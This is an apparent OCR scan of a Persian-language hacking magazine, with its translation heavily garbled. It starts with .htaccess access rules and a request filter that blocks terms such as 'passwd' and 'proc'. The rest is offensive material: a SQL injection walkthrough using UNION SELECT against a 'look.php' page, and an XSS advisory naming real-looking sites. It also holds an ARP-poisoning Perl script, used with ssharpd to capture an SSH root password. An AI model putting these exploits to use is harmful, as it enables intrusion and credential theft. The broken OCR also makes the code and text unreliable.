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. AuthName "Member's Area Name" E =
I AuthUserFile /path/to/password/file/.htpasswd ! 4///279/
! AuthType Basic I
' require valid-user : 3
___________________________________________________________________ 1 .
z
L gy Cand Dygu 5555 b be5 45 o) ol adgy oS el uL AuthUserFile ok v&
................................................................... . %
1 /home3/userl/.htpasswds/administrator/passwd : =
___________________________________________________________________ . b
X
S 033 Cygo l ) 3y9ey 9 )i PASSWA LB 5 -9,
___________________________________________________________________ . I
1 username:password(hash) 1 —2
___________________________________________________________________ 1 N
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Order allow,deny

1
1
i Allow from 255.0.0.0
i Denny from all
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Order allow,deny

1 1
1 1
' Allow from 255.1.26.5/9 :
' Denny from all :

| Order allow,deny :
e ' Allow from 255.1.% * :
.,’;z\' N !
4}%7@) ' Denny from all E
3
4 .
3 Wb (o0 ype cnl & 38 0 T 025 Ssh
4 e L
g“* i order allow,deny E
“ I deny from 255.0.0.0 .
A ' deny from 123.45.6. :
—‘ij 't allow from all :
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3 ! Options -Indexes '
N
a T N N N N N T ee [}
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<FilesMatch "~Aphp5?\.(ini|cgi)$"> i
Order Deny,Allow I
Deny from All :
Allow from env=REDIRECT_STATUS :
</FilesMatch> E
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i RemoveHandler c_gi—****f* .pl .cgi .php .py
! AddType text/plain .pl .cgi .php .py

RewriteCond %{REQUEST_METHOD} GET
A
)

RewriteCond %{QUERY_STRING?Y [a-zA-Z0-9_]=http:// [OR] 43\
RewriteCond %{QUERY_STRINGY} [a-zA-Z0-9_]=(\.\.//?)+ [OR] e

1
1
:
1
RewriteCond %{QUERY_STRING} [a-zA-Z0-9_]=http%3A%2F%2F [OR] :
RewriteCond %{QUERY_STRING} proc\/self\/environ [NC,OR] :
RewriteCond %{QUERY_STRING} [a-zA-Z0-9_]=/([a-z0-9_.]1//?)+ [NC] ;
RewriteRule .* - [F] 1
RewriteCond %<{QUERY_STRING} (%?2F..|..%Z2F|/..|../|%00|etc|passwd|proc) :
[NC] |
RewriteRule .* - [F]

# drop Range header when more than 5 ranges.

# CVE-2011-3192

SetEnvIf Range (,.*?){5,} bad-range=1

RequestHeader unset Range env=bad-range

# optional logging.

#CustomLog insert-path-and-name-of-log common env=bad-range

1392 obo sboys 3 ojlads  yoblyal tutol 09,5 Siig 2SIl aslinlo

i RewriteCond %{QUERY_STRING} ~(%2d|\-)[~*=]+$ [NC] :
. RewriteRule (.*) - [F,L] :
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Warning: mysql_fetch_row(): supplied argument is not a valid MySQL
result resource in /home/target/public_html/ look.php on line 53
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You have an error in your SQL syntax; check the manual that corresponds
to your MySQL server version for the right syntax to use near '\" at line 1
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www.target.com/look.php?id=9+order/.../by/.../50

i www.target.com/look.php?id=9/../order/.../by/.../50 i
: www.target.com/look.php?id=9/*/order/*/by/*/50 ;

&
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% i Unknown column '50' in 'order clause' :
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% I Unknown column '20' in 'order clause' :
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I il Rl 1
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s unlis b o35 1y ¢l database() jgies

/look.php?id=9+union+select+1,2,3,concat(version(),0x3e,database()),5,6,7,8,9,10,11,12,1
3,14,15

/look.php?id=9+union+select+1,2,3,group_concat(version(),0x3e,database()),5,6,7,8,9,10
,11,12,13,14,15

/look.php?id=9+union+select+1,2,3,concat_ws(version(),0x3e,database()),5,6,7,8,9,10,11,
12,13,14,15

/look.php?id=9+union+select+1,2,3,group_ws(version(),0x3e,database()),5,6,7,8,9,10,11,
12,13,14,15

www.target.com/look.php?id=9+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15+from+in
formation_schema.tables

www.target.com/look.php?id=9+union+select+1,2,3,table_name,5,6,7,8,9,10,11,12,13,14,1
5+from+information_schema.tables
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D Ade She owen 4 , HrOm+information_schema.columns

E /look.php?id=9+union+select+1,2,3,column_name,5,6,7,8,9,10,11,12,13,14,15+from+infor
i mation_schema.columns

E /look.php?id=9+union+select+1,2,3,group_concat(column_name),5,6,7,8,9,10,11,12,13,14,
i 15+from+information_schema.columns
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Live Bﬁﬂ

/AN
®

&S Sygo 4 Canl (g GHB (63 (59 3 6 )b gl Sl el pie sjlualy (LIVE) Jole i o5 (ol
il o 398 oo Ll s (55 2 Sz )l 4 5l 0k 5 298 e 5L (RAM) Lol a4y Jole e

ly 35 o Sawd la cpidyb 4l Ko 298 oo dbxl beis leMbl 3 w5z (Backtrack Linux) &G oY

S 3l s Wl 3 355 5 03,8 (MOUNE) ()50

» &S oy DVD &G oy 0 1y I(ISO)  gues) b <6 &g 4 S 55 30kl 51 aw backtrack os; ! ly
Pngh o any 2 poa Alde (oo b (upwr 1S () |y e g ded 18 355 ot DVD-ROM

BackTrack Live CD

BackTrack Stealth — No Networking enabled
BackTrack Forensics — No Driveor-sw ount
BackTrack noDRM — No DRM Dr ivers e
BackTrack Debug — Safe Mode

BackTrack Memtest — Run memtest

Hard Drive Boot — boot the first hard digk

cc hack | track [=

Press [Tabl to edit options

Automatic boot in 4 seconds...
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<< back | track &

HERBHEREBHERERRRRRERERBRHERRHRBERRRERBRBRBRBRBURRBBRBBRRBRRRRRRRRRER
[=1 Welcome to the BackTrack 5 Distribution, Codename “Revolution™

[=1 Official BackTrack Home Page: http:/,uwu.backtrack-linux.org

[=1 Dfficial BackTrack Training : http://uuwu.offensive-security.com
S R R R R R R R

[=]1 To start a graphical interface, type
[=] The default root password is * s

B

“The quieter you become, the more you are able to hear.”

358 2)lg 1y 2j oleyd SpSe (SlS bzme 4399

GNOME \ KDE Sl S e b 5l (S5 leyd cpl sl b
Sl ooy inles 4 S S dgbily ) e bl 4y
o ol ]y RC1o S 5 KDE (313 e ) pgwas

V.5
<< bhack | track [=
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________________________________________________ .
: HHH R :
! |oJu§3d.J:S Lmjl.g)ipoJ.mLf}a |‘
 # # s slr
1 # Exploit Title : Grady Levkov Cross-Site Scripting Vulnerabilitiy #ol 4 cosls sobl el sisial 09,5 Lawgs
Iy oo 0 (j»w..
| #Author  : Emperor-Team # o Comd > g aB) 09,8 oyl (peosl o
I # # :Luuy oS aS L;Lm jl‘." 0
| # Discovered By : Amlr # 1 " _
! 23S gomime 1y " ygol el o

i # ) S gl |) T yobol el 09,5
: # Home : http://Emperor-Team.Org #
) - -
| # Software Link : http:/gradylevkov.com # o —
1 # # T
| # Security Risk : High #o O
' # g ! “e
i # Version  : All Version # Q
 # # 1
| # Tested on  : GNU/Linux Ubuntu - Windows Server - win7 # E
| # # =
| # Dork : "Grady Levkov & Company" # E
L # :
| R T
: # _ # 3
I # ExplOiTs : #
| # #1 O
| # [TarGeT]/view-search.php?id=[Xss] # (D
1 # # ! =
| : O
I # # R
1 |
1 # Demo: # !
- 4 (_Dl
i # glcompany.com/view-search.php?id=467"><script>alert(/amir/)</script>  # ; Q
1 # !
| # gradylevkov.com/view-search.php?id=262"><script>alert(/amir/)</script> # E 3
1 # 1 -
R e ; o
Ly # PR
L}
| # SP TNX : Mr.F@RDIN . kalkal-hacking . Crim3R . H@DI . joker s. R # (@
1 # # 1

0 1
| # hidden dagger . SopelBoy , AMIR ERRO # !
| # #1
1 1
1 1

R R R R R A R S R R R R R R R
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# ARPredirection.pl

#!/usr/bin/perl

#

# Emperor Security Team (EST)

#

# http://[Emperor-Team.Org

# http://Magazine.Emperor-Team.Org

$device = "eth0";

SSIG{INT} =\&cleanup; # Trap for Ctrl-c, and send to cleanup

$flag = 1;
$gw = shift; # First command line arg
$targ = shift; # Second command line arg

if (Bgw . "." . $targ) !~ /~([0-9] {1,3}\) {7} [0-9] {1,3}%/)
{ # Perform input validation; if bad, exit.
die("Usage: arpredirection.pl <gateway> <target>\n");
}

# Quickly ping each target to put the MAC addresses in cache
print "Pinging $gw and $targ to retrieve MAC addresses...\n";
system("ping -q -¢ 1 -w 1 $gw > /dev/null");
system("ping -q -c 1 -w 1 $targ > /dev/null™);

# Pull those addresses from the arp cache print "Retrieving MAC addresses from arp cache...\n";

$gw_mac = gx[/sbin/arp -na $gw];

$gw_mac = substr($gw_mac, index($gw_mac, ":")-2, 17);
$targ_mac = gx[/sbin/arp -na $targ];

$targ_mac = substr($targ_mac, index($targ_mac, ":")-2, 17);
# If they're not both there, exit.

if($gw_mac !~ /N[A-FO-9]{2}\:){5}[A-F0-91{2}3/)

{

die("MAC address of $gw not found.\n");
}
if($targ_mac !~ /A ([A-F0-91{2}\:){5}[A-F0-9]{2}$/)
{

die("MAC address of $targ not found.\n");
}

# Get your IP and MAC print "Retrieving your IP and MAC info from ifconfig...\n";
@ifconf = split(" ", gx[/shin/ifconfig $device]);
$me = substr(@ifconf[6], 5); $me_mac = @ifconf[4];

y

P-\y
S
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1 print "[*] Gateway: $gw is at $gw_mac\n";
| print "[*] Target: $targ is at $targ_mac\n";
! print “[*] You: $me is at $me_mac\n"; while($flag)
1

{

I # Continue poisoning until ctrl-C print "Redirecting: $gw -> $me_mac <- $targ";
1 system("nemesis arp -r -d $device -S $gw -D $targ -h $me_mac -m $targ_mac -H $me_mac -M $targ_mac");
I system("nemesis arp -r -d $device -S $targ -D $gw -h $me_mac -m $gw_mac -H $me_mac -M $gw_mac"):
! sleep 10;
1}

1 sub cleanup

o

| #Put things back to normal $flag = 0;

1 print "Ctrl-C caught, exiting cleanly.\nPutting arp caches back to normal.";

1 system(“nemesis arp -r -d $device -S $gw -D $targ -h $gw_mac -m $targ_mac -H $gw_mac -M $targ_mac");
| system("nemesis arp -r -d $device -S $targ -D $gw -h $targ_mac -m $gw_mac -H $targ_mac -M $gw_mac");
1

A9 o bl 28 @i |y ol Ol oo 4 ool Sl gy b plos! SSHArD el 4, OPENSSH ous (65t (5 dt 6 ol (o2 9
a1y bl Pl w3y (0 1y bl ples SShArPd s , SShAIP (ye0s .l http://stealth.7350.0rg Loyl ;5 1) dus o)
Sl )8 culin L redirect jobaie 4 Ip filtering aclys , ssharpd sl plfin 4 w8 o (wSly , iuis duaio 1P ool
5192.164.0.118 0 Sily ARP Redirection co Sl s g o odlizwl 1337 g0 4 23 saiie )yg L SSH bLs)|
s cile ool oy 25 poas 0,05 0 192.164.0193 ile jI Sl opl & ysky A8 0 colin 1, 192.164.0.189

PGS e odnline

On machine overdose @ 192.168.0.193

overdose® iptables -t nat -A PREROUTING -p tcp —--sport 1000:5000 --dport 22
=]

REDIRECT --to-port 1337 -i ethO

overdose# ./ssharpd -4 -p 1337

Dude, Stealth speaking here. This is 7350ssharp, a smart
SSH1 & SSH2 MiM attack implementation. It's for demonstration

and educational purposes ONLY! Think before you type ... (<KENTER> or <Ctrl-
Cc>)

overdose# ./arpredirect.pl 192.168.0.118 192.168.0.189

Pinging 192.168.0.118 and 192.168.0.189 to retrieve MAC addresses...

Retrieving MAC addresses from arp cache...
Retrieving your IP and MAC info from ifconfig...
[*] Gateway: 192.168.0.118 is at 00:C0:F0:79:3D:30
[*] Target: 192.168.0.189 is at 00: :2D:04:93:E4
[*] You: 192.168.0.193 is at 00: ]

:D1:C7:ED

Redirecting: 192.168.0.118 -> 00:00:AD:D1:C7:ED <- 192.168.0.189
Redirecting: 192.168.0.118 -> 00:00:AD:D1:C7:ED <- 192.168.0.189
www.Emperor-Team.org 51 sgelgel Sl e sl sl o ooled
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On machine euclid @ 192.168.0.118
euclid$ ssh root@192.168.0.189

The authenticity of host '192.168.0.189 (192.168.0.189)"' can't be
established.
RSA key fingerprint is 01:17:51:de:91:9b:58:69:b2:91:6£:3a:e2:£8:48:fe.

[ =
Are you sure you want to continue connecting (yes/nc)? yes
Warning: Permanently added '192.168.0.189' (RSA) to the list of known hosts.
root@l192.168.0.189's password:
Last login: Wed Jan 22 14:03:57 2003 from 192.168.0.118
tetsuo¥ exit
Connection to 192.168.0.189 closed.

euclid$
’,
Redirecting: 192.168.0.118 -> 00:00:AD:D1:C7:ED <- 192.168.0.189
Redirecting: 192.168.0.118 -> 00:00:AD:D1:C7:ED <- 192.168.0.189
Ctrl-C caught, exiting cleanly.

Putting arp caches back toc normal.

overdosse® cat /tmp/ssharp
192.168.0.189:22 [root:1h4R)2cr4KpasSSwir)]
overdose#

Sy g5 oo STy O olgie 4 192.164.0.193 158 Jos b 39 00 colin 35 (AUthentication) sww,lsel clles , o5
35 lyal 551,

ol Jaiys b SSN 5 SSI (lad )8 0jle o Sae |y ©Mes g8 ol 4ol (6] s, lio Bl g 365 (53,5 (Byme y3 SDed3 O jlge
& (host fingerprint) obje cuSsl @l 51SSh g b aolialss 51 SSI .yl cogn S plpp |y Sladbre ¢ wud  slhb alius o)
3oy Wbyl JU < gyl By uad A &8 olSin b ail azilis 1) oo (¢ dolunlgS $3485 (5108 e oolitul Coga jliel s jglate
ol 5l G LA § o345 aaie w b Jliswd sls Lasl olST, (FINGErprint) ws' (o) cuiSil B ol 53485 )5 ;395 b 1, o
D9 (o e 4090

g o Slbgazma )3 bise Sl il g 1 cawl axslys bls,l TESUO usle L SSH 5,L 51 55,0 M Euclid pusle (L3 Jle ,
owile g Cudls dgzg dlzue ol ST (TEISUO &) sl 039 OVEIUOSE yuisle 4 gy yo d9r o aid iy Wb a5 Sbjue cutSl 51 il
D090 o D5y i S ,l3l b plS g 05 e 03> L ales pled sl TEISUO il (clp obiwe cuiSil 31 S Euclid
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daddeiddadaddaaadeadadeaaddeaddadaddaadadedaddaddaaddeaaddaadadeeds

@ WARNING: REMOTE HOST IDENTIFICATION HAS CHANGED! @
dadaaddaddeaadddadddadadaaddeaddaadddaaddaaadaadaadadaaadadeeads

IT IS POSSIBLE THAT SOMEONE IS DOING SOMETHING NASTY!

Someone could be eavesdropping on you right now (man-in-the-middle attack)!
It is also possible that the RSA host key has just been changed.

The fingerprint for the RSA key sent by the remote host is
01:17:51:de:91:9b:58:69:b2:91:6f:3a:e2:£8:48:fe.

Please contact your system administrator.

slo coMS Sl lws Jlo cpl b S o mio b3 51 8 05b onds Bls e w0 Sl 5l &S Sboy 5 OPenSSH ey
Are you sure You Want t0 " ssle osbw aums o b e 1y 1,5 ¢ 85,15 1) s opl bas g oS olsd <12l , Windows SSH
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Art of Exploitation . Edit by EST
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